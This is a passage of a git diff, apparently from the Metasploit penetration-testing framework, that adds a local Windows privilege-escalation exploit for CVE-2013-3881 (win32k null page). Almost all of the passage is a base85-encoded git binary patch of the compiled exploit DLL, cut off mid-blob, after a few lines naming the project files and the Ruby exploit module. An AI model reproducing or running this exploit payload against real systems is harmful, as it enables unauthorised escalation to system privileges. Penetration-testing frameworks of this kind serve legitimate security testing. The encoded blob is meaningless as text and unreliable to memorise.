external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj.filters create mode 100644 modules/exploits/windows/local/win32k_null_page.rb diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000000000000000000000000000000000..aad23bbd8a9e6434b8ce769b05bfc2b66439a279 GIT binary patch literal 45568 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�kFsnp-*|14}UC z*};X(IqYI*K`4QREX!;?G})Ll%o)@yH$xnlRi0RPN&+s2(RM3uFA79x%T{wNt5m1i zrA5zwTCn9Gwo$iyeUEK-_5tTu*aOS_FsK2s0opOPJA3pzrh9zR_u5_&Y+AHsuK<?o z^Tr?s^rC4qPwCg9V|jpaA!ieOSp(U{f)7hEM6=G+Lzv=hEqV#csm>vSm9W6!F$YH6 z?$kS*kLH7&4SN?MhS807HbjzEG9@(o!_=%HHN_NcE6`r{zP{H48;Zwb*nA>rGIn@r ztX{b4;Nwlfn?`L%TJQw8TC^QC8hcP%i;hDO+Xt@;d0s=6fHuIetF-93$f#@P{l^vy z`=~U8Isaz@QDBI-qeMcpKGS@B3)-Eus-ut=ZQD!jo{+0f2-1Xv=H9O$9s4XS4Dk5Q zs@>VudA(q3cb=s>fz1~vNOAUfg*|~*ICN|@9>wE*m{4qdP-lRuf;g0{q0urnUS`;r z(}_{UAYwfTQ6Ns>J2-zx5MsjO*dO4}1`z=hS`NguKB%#5eg5p8+);`O5Dy1nbmJH# zGlHt!Ii9eJ`IH2v$-4%~)}jT#)<|<Wej)?2#9jus0sW!9=RmXU4y>^lLuhX|muKDW zA%1KCRA+a4vS}~=)U59I6mt{yo@!2a`%;Ubb?)W4u{wf~8^=SGOLM^MR)2y<h$pCe z&4pm3s=KBgEeWsQh;oO#fbznNn_qn4-yyL=j7g0q5?eJ&Vr(3V^=Z*2J~KV4v&W@I zQXYuNj5IZ;2UBH1h`lvTyKPAQp1=att<-P`0r=x|*dh)N=04JFxkD4m2z;f+MBC+@ zo|?as*nH%ag-Z}@X!M4ts1PhFn5k%Y&0!M-u%|LB5m-!=2TW?RSy^iKmSYq_X5ic$ zV1^L?CK?+KlAvwc@(a=@I$FG)F**~1<dEwf0GwKM6oTNVXc{Z95?~%KP>6Xb4&u%B z+HV|RdBghgoURk$sQl2!kDUyO2ZJ~p&oFGq<`WY{cB3D;$|i^rYL0Cm#gq_#^k^0m zSFyW6N|3a=96f9iR1IybPKzg(mZDuQ78@l9c_2OF+DYh+{SdrHadtOy{Jrew*U{M0 zFt)~LJ1}S7DT2^AfX<j=p^{Y-*i7vF{cp0bPp0@TJDY;F7J=)F1(p(_H$PDe?MI#7 zmoTC11ssq4M-wzhyL4A#5~c61(IUxDOiKHmV3R^w=R`qBtg=auvF#|#euwF1`v8f* zSRM+I^4Ja}c%$$rHn7z+ul;#>jzMefJy=;h+QJ>LfaMli&=xz5LFH+k;HT?zJ?s~# zl9#7NCu2PF3X`UU`C~lne&{UndOrmd%0otJLM}_d0VOY?IeEkSd?2mZ;;n8(Q_<1r z=#u((HQ$UpNUpkzk|i;k0Jqlu9wU>Bh6P8z7%Gp1Nb~l+g-J)Z=3I|k>qKd}ss}rs zZ=xJh7%i~W1hy@5ASqN&l1B_u9HzjY>vFU6n84g(!OfN;GuUJprC>}KsVk#&GqraU z@=?h+OYcaW94tKAKh`6Z!Je$gKOO6wYF5Kt+00G^kk_gfu|R%8GkX+it(;WkDvJTr zF<~l*K*GWd?zON!G?Pb&;YEP%T|l?GFcUb{-o}V$?IZllLz;NKOV8Ba<}+YctA{Wh z{#y<);KrjxXP^pzp6Fq>(iEU>jJFF}fn|}fhi(abX2|RH`K=(SuV4&-mk9Yk)-_3% z&+GbUpm@D&)7Sn%*IKj-&|;sX5{1!_wP+f$+7B|ArY$rRwG|O?YX4|~)l{Hued{Pj zrUD~2D(Rq-TBjVzX>}j9M;M!gp|3$DIg<C#TMC*3{e7S4?;Bvft1vgg!#*Ke1tqDH zxjlWI7eh$UmMOcVfV?;znd)@f&}gTXCkXpq8l@)nP@GVr>@IJ6q5~wD+V;eQh^Mxv zdxw4r5f#a9!nEfRQES`0TJ$<J5}*-wAIcY7n1Ko?RgmBoCA|bQY2L?B6=7{#3EOZz za)UK64uQpB1g!uMu%h{1BE42L)6E0GYpxbuNT6~CR)^TrM6jJ4!z+U9UWCPp*d5fr z7<eAX>I}T1vwBRi;9<WfGQE=5!#&ImVU?F~5j|~0Pa9}*&@tPCj(9)jVjDYwF7ha+ z*zD~f%uj=81I%?7t+lk7Q`5np;sh59qsG+q+x6HG2^Teefgbx<k1f$-XZ2XJ9(zNN zrRlL|J(i)zeyPXSCDBw;C;KP?=z4~*M6;pp_SR|QjTnL#LjcyTH5$#B2+1W<;ULa) z^;ud=6_JL?McoqAot?|FY3dwFG+km;jb<a?BHxewTQ18FR3Pj#(xG}-EVawl*aU$% zfKT6TkjG#|ge`1_9ww%gllYW~56V?$LAvEy9=$F&X`I3#8Nl7^vC@v8%IVk{U@F1< zYzLqiWsmS;0SrQ1l~2=_do4S3bMy_>Y1Z2H7_hpKXy3a4xXjhw_Rb~0(F6uWB$h{r zZxM;&5n3{|x8)=%fx6UDBeAPERZgOUf*2_$Q6WJz0r7GBNCGrc&OYMW_E4&rV+RZH z)rZ&B1xI6m!>zTnYu3eui^Qe1_P0o2{|cJZ7E*Qg;-|nnmnR%j_6;7VUU^Tfj>ieC zM!v*Jh|5QGK-u3hMIfXi@A8|7k$8h|q5!bj7!=DHL0-CnFr@R+f-8CHIlT&6nnt{| z^YYcagcZ;~fyE&`p?L#1#p3NJPB|Zm7Ku|tNlq$h7i>l;wb;bEz(AaKJ*)@2RFYR{ zI^5%8q0rUmjZ!R@eds%S1nFK(y*~mqk6=7`tsbI}b%!vb=n~)=sGrK}(U97&OAHrV zgqRYR$9@d}0;@xA!bKvWCvHKxp}aaxx+O6*3Rv4V6H5>6)_hMeFt9^UG|C;20Fc4b zF|{2F|5zjFTe46~VRNY^`H1D8Z>#mHwgN4^$6JCB)1=!Iofh$*gsf#;Yq_rz@DKtt z5<sV~rZw%9TBB|JSP-^@M8!XE2#kc?emh^p+0NUD(yCv<Y#kWVG%t40I6+`kfr4Ha zSRuGJi_zX>M8R~#M`$mUy6OxRC8TtKSo3)Q<tTBY*v$Oc|3R*snVARlrCRNWMm!7+ zgrKiBlS49B^p7GL6oZqm71L@{C)FKAnUlPXrJ^rbMo!v`?WZ8#;3c2+&O;w)ErRz< zNqKB0(!4HgAH2zUuzds=?QNHO=iEhAa3*M4gq(I$+!89V2?gY&XQ<gcahjI`?CC(e z7Hro;X!}p83C-Af#CUBlpnwe|ilI%Qp^-37IFp(<Jp)vwZvmC*X$UtsZ9hnckL{CS zt$Us`d_6Vq90W}2kW$qJDZE2lSWAiXd1AjJomHxO6scQ2XF}L9Sdq&t$Vv<o{}qu3 zw0l?>qF5F$Uc}xpOnXOL$Q$iPR2>R5_5mW8%fzZ4DKyd9El#2~tGX0tw@N*zRbBq? zdDme0O{)n98)%XAZlw4+im#-2aQ&FcxzQ#_a}_>BjCi)Nb*W3k29`2oa?j9AKO zW%ppiuX7F%XrO|vXps|Fv4M_2>{oi6#5cQxAn*6E7MxN&ER#PE-AduRcsQ0nO_&o8 zn~H6|hkb-e^j6;rNca33wHwz+gbew!+B=`7=TY2*CTQ4__?*vyXsbbzfzcEv7u(l+ z*v+)E<T=`{wRC)FtcHkE7MA1btEZEqe|}rCNs!H2TXJZGvcue#94E9T&xvSDz8TR) zZOID+xj9*lq<S?iRKw9yabj~~)f?8@2$H7GPHLNYN?qhzWAd3CkadT6!I51d>Il>a zv<~~%5<Ki#E>}Uv9vo|Z79R)4Acqn_cHdqO(QV@(k~f-#>Wy*LL6GE)ivXSu(`4h@ zj>8qFG-r2W64l@JJakDsBo}oHb=vN&*!ruuHPS?nd}&0?ZZN)N5FdQWEKS7Ge3#DN zOH`>_ZEG0{l|P)>@?n^9K^=ia6(L<4jP>az@ApCazI2O=y-d6U2D8>4B??bBqw7@J z*<(tq>fZJBgfr>|YGEO7AdEJ*6Xl^1F|2xpsoG!BmTs!4J0pb_UtHslP+KzwyQV?Y z{BM}E9e@N<R@1~(Fv<OpZ~@pBDEG}F#L^LvT1obY(|OH=pm_|c=m1pWy@1FcLFL-R zKyzBEeA#Gy@?nHDKH*xlh@K#KCSxrdcL2gVz{+qOAqves#G$_rfZXN#3ZIS}<vnJc zxqZu^*N?6xSi|J@<WN4tLlu7om-a)d$~Qwiw3%u~s=?vA4q=6qlb%FSz-g)sdtr~d zkPgwg2^vlhG3c`Q`xx1hB+;<U!`9Idd}5fPA*{Ap`ncG%ESHsDA|}tvQ<COFumGOp zdJAs<QV)wq1+^=+`o5$*@vdTnn<b+(%1!`ft?;;A>|0<PTDO`-YeKV&{#en?loTbm zn~WE#?-Qg~H4YKGo1mXVzzOm#LVG9;fG9ShId3h7p)I8TnT404pa9_gJzU6V<ACT+ zX!a-*a7fOvv>T{iqSK5^f_$^=G@F#`pzf)@?<NUoPjn9d>L%+m&FM(;FVQC8D#qLp zRv)rd$+0xdupVf2rL(&T5diu+Z32l>Xgabi4PlzoQg28{2k5T$jCi+PH7rO!s=jO& zL#r=`OW#9FrnaRTKaOK$*4kcx(Ga%8E}E8vOJV8$3oHB|@QhAm&^8qSI&}bTngLQR z;ix|(J*E1-b>bz0_U4N%25BaBBU*gvhU!H(NhYjkkqONSXD|#50%JJYi-l{-a^88! zx}_M<QRzI51#>9oa2U-1;lU;0;<CCkVv_YxvkQf1vrNnl4KlI;s$YvfIBmk%Nd1xQ z)<6+sx;6n>IhOQZ56BqRC$xnKgfXgM>z#x|Iw-G2b4J-NXojP@FqZo)?u0X*+{Ecb zgrGq`PGVjY=I4+LbLer`PhZV<SM?z1eWd777A``Dqg9-Mu`P;`j0(Te@;QfGZnv*$ zfJK0(pz{V*C85{*D<8o17-UQ3Qgx{1qY$6T3c+}fi#^Ike4gWicq>%RRNXj|>!AjY zVg=C~$Y_j3U&=x|p5RB?iEUWFHURp*H2{p@2g^JM=yDUzKy}nA&C}jiha8thOM57l zAX4+s)^~&Q&<-i0IAl#DW%xt&7KRMgx*8O6T$ZeQRj%|ph9tFpbK*>KQgZU<#2D$4 z?)_a|_$+#JyWR2a?vq2wu3WbpYC!F6DC2;YJHb;}fUuDrMr@Ybtw}>JO&UNc+SJp2 zahQEHKqc~r)%;;dv1dqDwEEXUe2FFu;BhT_FD3OmE?8?TfWt*I#E4{|`Z7H(#<wNA z&=;GJZov2e+k$QDlc>?_L}B#j$z^xPbG{B_(C(0<&C^tl&G;dD<N`@;l~$ER0d2k7 zO^%U@^I&91x27FbiXQ)<6pnPntma|?bnXSe(+TYR0Hcxi;}~j4ek%lMBW?EcA?5T< ze=f)^ak>j>xoQ$^*>@*k{#GL{x7oZxH8xSuDhzAUFCkC6XLNi2j@%ZN>fjZ3b*<NU zjj_xPYlEkN7f?-}Ll6k9I*Dgzd)TX=09Vk*SZmWk52|O~zOGjYf-19m%$=AhPExxb zIb)GqEXMa7$1Bc3Pi#Ew=%_R&CW4_`=(+${icr^>F=<$wNGW<5^dVmkl`ORMVw}C$ zSR=t;t^G4m&Weq=jR3DID>l*%<t4MVu8GnkPoQHpsgs^3jh7tnRK-1V)S~WQCl@A~ z1vQChPp9mq#=ig{$LU>v1(~Qgpcf{66{bW|czb%GjHdkSllBJVM8EzONlypkwG_WE z>FdFG9mVG*`GWDsDLy0VsbKsGicd=V8pS7|{RYIfZH2{V?R1{9yU;&@2AQp$23zJS z=^Md^5cvT<Y}!=0wHtIGMdA$OV)bDEygZuv{8n#gf?zAu7NRvlO^dTBC2=+%Tzt3N zle@3{H-hah=WxRBT}lxH*+Ll|*ph*~ea`;EMyl7UX7v{;krd3^05XPFJUeK>!xtC1 zFUGCrTRdu|Ibk8SnX87iIW@W$BHs5s2L0KH7^$u>8Q)B>EMmLB8tMv*nr_zPB@}m> zFD9EdTkED0d1TpqIZSa6t81ZQXSl(ZFOP^De9Hx&X|0<1M3gV>37g{V$Iiz&1lb;? zzQg9?424b&P;V#iSw>fWUFcPMqq<5H#5n8(t^ncEZ8``Z4#HyAOL6CbKDySxg_i#) zRQ5HAgk9-YImrta5k$L}d}h3f*qe@VR@}K38*p(#>GBb%VlC`AACV<-jYXW|)iH8f z?O<={$+$*TGAvhvwD~HKJRGEcHN%Y26`<yCXseXywpeRdArNTxINOP=-dLmr=EBCO zRW2IhtE@Zs^%Wl`{}zf24O)FMvaVGOAM9)tF-!i99uoRmbkkn20xTn>AuW18!U_Gl z8lL=DcpS8VazCMR&VdAHe?q@wP?~UPC0h1Rth*phz{a%OHnAW3bu>Kqwz7~qSieCR zc{uIAz7g_3Uh;1}uV6ipX8271){T&|h;I(H`Eq*<8=MXLqSe-tE|0|RIt7lVy;&SD z3I6t<S2edfy%s=t4pHq~l{SCZ$-7MkF)~*>oy#Ue$mrWUbIpkGOKk7X@{$|)@iv@F zN=BD<T5b#Gf4F|FE~7wy+JfIxvs(0P=mN(|i`PZxmRE5sA-!!?56MlEYf=pRGIScn zGgt?%=J+X{eWjn64yR?`0uFHE4AG>v`%8;sSU8}<$&yw#Ryq+kl7a<XfdOR~N3cBN zD#*0N8Pe?>8M*8nNQ<A2ug_)opF>@?Xtb7+-{YUC+~<cXFpjc<=RusUK)*dK8^E@r zS+ax*sNyj)k53<(jLqbAE_M@TVtFtZPiBu1aN0dubTbAWJkeu8$CbhpuMwDMa<Ph* zB_;nBsy46s#4AWc!g?&n52;U(Kt=3&#L({7{uK=$pjzyYAYP#3iTzg;cyz2l884t6 zp!QhaSo#VCsbaHUF%2yzt4|z3?2ZvUT<i`MP@gz~@axrh#J9WHjXbF{5VP>cnh|3L z1fhQO9eN8fbwW}#h!Vg)OHfHx7t5Iowz!wQ*GGN&cDvf0X52UkHG784ARckDIst>5 z2oRv_{WTRz+%POoQI}zl5KR6qCClwLEz2ymd)QMHg%k;BVQ6Qx4v3|74oXh-D>Ph? zIEWAt!ro|vU>c1yk41bNM!|Ya2P<4P1`5iLVc#2}rji(<CgoNR2b!h<hf<SB9Rr8J zAoVLPUIdz#K>MEp3kyj*G+<!idjUT7AoCrA;@n(i5o@6Z40_6G9!C2qP;DL*=_6bb zj%$@Xx=c{p*JFVrCM_o>jl!vlz3~z4G4_cd)w=X@@g{k9i6F+ZgOpreg43KC=lTYk zA+?R&f*N$g(M4JZQWyEsOH{6OXIs!IR0BcY3IVqKEhu`LR068h(|X4XMnORP%p_hf zvq;gBAsPWplL?yQ)}|@^Nq5?<O_M21r&YDzOJ}YG&6ggV>ta2(k^~?#pcZAfN!e{y zc3WEBw@qyE?Y6!A^2@K%r2+QuC>;OB>r}BJ%201hUMUUwo|um4A-aHXh%zH>g*3?b zjMxp<^u^-JiOc_l-(&yl&h^zXsEb|NHj@^81hf4*)g!$CZJrXE>uW>l<}umPUNO*6 zcMe6{>L|gEgV8+S^PeEWdZ5F4!071MJ~h52+2wmClJbk~tJo|I0U)L}7*lZ+?xIbj z#aB0sD(KCHo~fXVR7<Q0OH{%cH`0-c*~=Zx&P63RJANlMl@=&~2^lNkC1V3#=!d*e z9AWKACv}6PpE#*HGi<u8;mJ^H)<5}TONbavNp?y?L-kLF5xV^5wptz#XsCz$9vzGA zbv<b3dw@9M=&d}geuGkcwUelpvD5dEUA}z7c1v~UB=mB!`mo(^l|Q{<JGz~OK2BDD zY_GTZjctOE;&`*-Fzj(QB>Z75`wk@dQKHSgM4LNs&SH1}4MaGk)8?{rak{(*w0XU{ z-5Vgw3%xp7?nU8NTq&gh4E;)JyH}BV91HCSA(8F@SKNpr1u-rJIG94eU4jmdq5M87 zq%8BQyfmtzD2bmSC4)Ew|5ri5=pc;r5Tk3KM?K$`ZUJRTo7h)+K>q1wHKRnCq-J=P z6()6(Ba&Z7O;IB`cV(2r451qMRl?MClOvP^Hx(PYv3%$uG5<=s38@#8%R{6nIioxT zofx20GNa{W6J@sH9-l65>3XUUDvC31UsgZAtW~DJ^*WefWJH?L9!f#X2(-Q@FrG#E z!=e+rD7m2gGyf8K<TGi?_#z!B;y)vg3`<i~Y!Z`AW10RVRCfX$Za0>HrnUu-vT~n& z9NX~CtYpq*g&+-eDB+?~Wp<26lhjr=AA`o(<9PrB{Nni4G#5Cx)?(u?Xt>~So}bi@ zV8ur@8v6`(gSF)-S)=vxa3R9hgYDQ#b@B<sP7WzPn5^LtO6*CTNhaT1R`^n5aSQXC zIpCdBOTlT%V<x52l9<D+Pta9ob=5gE|0Y5{>63;@wMVVBhY_(JNC(dz?foIb<C>{N zGip{3nt9~td}y+LzgR@HBK7!hYe+YM-RD{l+-E(|><7xa8>-`wX-;!YM{9;<j-hQI zW93LsCuP)0kPozp*h0Y?8QSokie9xHptYx(0l2`rLAb?XN~*<|YV#?#qn(E~t9PYr zR_3Q9CqE!vP%khS<Y@0fP)Bv9ak?ql(X#C#+TN`}A-@0!_odEwmDc)dvpIRWbP3BF zQ_(1zRNQ92QNbxgmz=u5e2fI9|E0u*L?hO^HE0*7BVxt%#EVv_%E60K-dBhh`~HsH ztZt3{0A`(}?LW(MFr(@QFLpdkf)K%#rz6#5t<9xrutWH;<zU@BwX5!oes+De9<YIN z)yo%NlxM@*0~MQSNrJ|q8xvSJO!?ATjc(=xj5=9O_a^DA>SB+8zw(szUbmV=%&EO| zF}*y*TK6%kT?{4mf;!|+h=55QkOsOGNHsO~V0>z-xsh?-(%1(-0s5^Tc__5Xwpq<g zwQW``&MqV;`x(zkqNSrMvLQ1jw!S{**Obw#XV5xO1;H6Zg08;aet_~m)VSan1^YTK zP(}g&<p%`#bYgb5_D)c!07cNv1K9nfQ)%_jp^G|u&1HSKZnleRF$tyG1>9^4eiJFZ zL1pZP^N@8x<?EE<&zJ{um)9OjiZDQh^=VW-B^-5_{t(jy5qMpSeCdvg^S+FKl`l=+ zKB+iz4fa~5Kg1$0zcn-s^iw=3&(Sfhd3KB3Y|d|G_y2{P--I<)zbe>Tkrrq)l2jo3 zNbm8;(I{hwe=^Q-@h(fvr}QFIMY!A?1vQzU4$(pBgwvp!V#D6plB<ry@3hEm!!4g! z)i<{sC8IarlZG@vjrSbXNy}lVi{;5$cN!UPU+i7#b@UF32gbB8(H&6oEf)_PB(ddF z(*yFS_ir;6-~W*Mpvm!|Sz3ydnouo&YOlOOJ$Bmf%M39Mo}RU?DQzTNnhgME-QbV) zJ<vUx^IQ|{jgbirrFmAK38G7No7J^s8*0oNP#!XoHWtrSW^fOg?w`D(*Zd**1A~%3 zV6A%!?ZiU|kU!LN*;IVLB3T|>@A&h!5cSVS=uvnrRCm0Ml(!x4iR*FBRUb7u9yLpj zLmcMI_R8zk<EPIJzCB9>yqQLmG>d?`%YUQq!ET<uUx${mIJ}PnOtfNFmz!vr;Vr7m z&B_WhknA^-Zkmky%#Qc0wbkeZnh2leq?(7)W@WueLH!kYn(=h3FiRU7fUf#1>qtvI z0))gl)m2sjg8LXp>uEpW3BQ4dId;>U(!yi>xAH<ZpmkiSJQL!-p@E(L*jLNp4#(+t zSP4_o=EJO}UxPyF0`m9ugW*VUcM*V*g&-((;Y(m_uaGPVE$>^68J6D))u4lHY_)kl zuM%iG+-2rbH5rz{R9SwZo~Bf97pWr|sd|A7TlLOVK?;{QnnrkvyaP5^MQ-f8$}QU4 zJV`5uHDgc{N6I}_Cv$=kWUfXNy~lU>GAH+C`!b@kUF=_O2GmfoAF*h>s3VlhZZpYS z%~6~?8rRW?oaRPKSCR-su6o+H5g{BRxF!*L-+pO<+-!TKISO`E)Jtv<jI#g(28Con zy+aPAT0juhYUIp!G0Moxdyk~h{cW(;Td1X^qoUYeZ1M_rNMmA5ER<b5$ATuOXxqlR zq0#!kBd;)P%6-^VYoXMInr_35q1qPQA!p+v1Watk>E}_>SNn~|=2VzUUQ%1PG;=Pl zoljg0`gaaJq`(X{*#wdCfHY8SQZI8IYs*Jg<4y}#lm>vIqcoPBUb;>8eM=~Z5Xc#J ze7ZeVJr@5aUR3Zcv!%!xLz-OQXT>hTw|5wxVuO#vcYE@1KSf=p_G*RzMM5!9VYzgi zzjrbeO15FXl@<l2u_<QX0|=Ov6q8)|-87shmMO1&m*}M-J++}@q@}hQQ&qnrRWgR} zFmVzCOMX0fYL?5aw&El>cI&_qVFMy0I-Xk8cjB`l(XMa#*s318N}>&@D~II|`<FY; z`*tM`t231>8&nq7ujT--i>(lIP6UkaLR<cn10jf>mP;ncz#;k4{oBHd@6RJm>;{u# zgIP+|<=Z8D<&DIRL%vJ{7jSz?z}-yZ;s*arxdj4lEc3a&SIM}QX0)b2*sV0Fd(6sC zGJlMJ!+^Jaa1mtv>We^!3e&eNON(Y&>C3!pSk}0Z-Js?V_+l?B`8Ehhs-JID^32ME zCXy%*n(=hxnWfx@%n6Vp*O3&NV3IX^Wo&iTbtFaJ948-c@TKidQ{VL4d7jO;@+#p` z%YjC6kk83L6PWR(-94<Bl}y7h<XaA1S}9A1m9)EudY1ro*jg@vXZ77lc+9ulD%pH1 z49bJUzI6%1n5mW#(+aE}NRUVPkk(&>^_aD;nuaV5Q+6-|$Z@P3T~J17L3snqh8Pya z_oT4}Wd&bQc+NG*#)1NTZ|A~xyBV#Lyp>=*G_2_GjCPnc;Io`pcM>XTuL}G=h^INQ zvH`7OLE#)`k^vCV%7ybAuLJt()1Q!VPUL8PgV2gR48D6@=1!9@fYue`(CV})MkOr< zuM0q7I7Z-6`?vteGD9R8LrK)gE!WHM_hW$ub-I_!m+&4z)kOIX?esZ0Ye@4)g6!mD zTEfNCAJZ}&$>rX=*cZ4>s$+J}(Cm?k??@4HYm}02c63!RN0+omolXsZL78_^=3Qy6 z-y%N-d%Llk{iu0Ypl0|LdGA*Aqee9QKK8q67y1cYb%fJ4f-UCyhX-wnK~1&Ei!||X z%5)B7s!g>)<j9|DP=!Cq2~XX%H*Izn!Tct4*JPTg(_==Oniw3*Bn=k+PuBwZcumaz z5lNeCIX`o6T7owF4IHKPhS6xTeFNm?(Pec<Avf^`;p$5!H6kASp7R0v1H13Wo@PDS zebWw9eZb^+z$~o;FL4g4x><db7<|~bYZ0hX$?u!Ju0BnH8?j0WcyR{{|E!7r+rd40 zu_yVGsF$8~!-y3%q=_hmqO%?}1vUyp=*O&n*`(|=p+oh{Bp9r<xN(6%3R30+W(5VZ zseqDg4#2fur_6~XEuhMJP-)fd>Z*x?G?9}YxaN~^hdM^2!{NK?(`eIxB9UVR8vYpV zxqPqbpswiVo1)X_!taG3!yUy$B|^!ZOiT}1DD@jp5?>?fZm{)$I?1=wpxlRh=^Gu> zX`KbSvDf1J0cnCfhmuIFDrVnO6DM*g7dq)cGwnkhXo`Bsvd^(_4QO%uO)$+fevFMY z&ANx3!|{fU`hwf_pr-g1RBT1j5mFrJTU^rm$|K#@uj~WP+_)X2HCRsKS9#ERKLPat zblz`4_oeH+zy2<&=Ix_vMS5pp5|k4-(EFhZOLqBV$p8fA<8JK8N!dIViVj1%+-Ai> zGG;UQ4xOu{dBv9XiJ_UT*xpCeacV6T<a85Y1wg%zp#gRe&KAmib|?2XsI6=LQ69E{ zim_=(3#!zizy@Oa2{9q0aLF=bWAf&<dBxpp5>5@CcQ`H6nv<oO?4t|8I=S@6ra|os ziwj8KKVs<CpJO9>UI9i2C1b+H^n^1|y8|)Xw*>D{AJoTzJu+5XM<~bpy+Ec)$b^X# z4MHMr9f$Z0M2Pu4j=zYLk)7*i-7q%6w#)GsslapPzDMmsVrF6z$4G*QJqZ0j@L{c^ zyJ*#kO_8<Mg`hrce(9W`VaE&z?u4>4uNBqt;x%oa!t^rGT-<|WXKS&|YkLvc>A|54 z`~%!i!kr=ejLxsUCx}%g3nmIWx!?bhk`5v%FlcMt*AXELF2aTND-DRD!)K{O4B5?I z#Mzq8zy#fQG1ve-E+;FOufRMGW5t|?(iO%+5A%?M3+Mrix2UPZ8IHD!5Vg&P<8%+Z zi1E5v4%$O=sQnn7+K<GL<y;2lBn)!`)Q`>qjMD=asC?7N+q7TZ<`1Y%P3mUzcw<pP zet;bd3{AQP>8^1Eiq<`}uMRXzJ6LrHsu9e0z8Ql)N-BX?wW<f&^g5Cffw{Wf!@dUw z<8yTihgr58M_kxkNhM?Eu(u*94{x_@pt_`qXL))d5f_MbGvt4iLvk$uFiG_U*kpl+ z-J^FT&ctkN`vc79D9$3$R*)N5Dqg~BWuM||s&^O21@))0KE%d=c@8ny=HjO66hGx= zXX7T<?7@v4H`Q~*epZiDvlx!+FKnW&uQ-Q?Ro+fhZ)BY_(IYtDTDw3`c%2f!>#)QY zU@(G=X~?L#Od1huZ3@C(^S1@tZ=)bW+^-KosO7S6K~JtzMx=-S*uy9WUerxsCO6}Z zQ7p8DMz=r$YSHzW33PC?xBpojur6a+^st=K7Dg?oX6tQu*iVp`3>cSeTZE~hg6AB@ zwqoO}76=<}9~z18z#-^6FoH&(AkWDO7YPav>jun7g5|+QFGD$ZF8djF<yV0EnqCH{ zLfjob2}Gfga&@6^>4m&DyFu_aqorInZ#r+te|Pafz^Jav@n<nkzO0Ee@fs^GWqk`i zqxN93_A$MF<I?VNYth{pye|BWZ1oHs_hK|AVi`q%mYD&(OH;jsa&{|7P#4uRNwYGh z?ro&u2NWAMeRDA#W7<#oMY<9Z+{Kx`y0ZwuuAeOgetdP5uGGzitnk&%#}l|v>TX9s 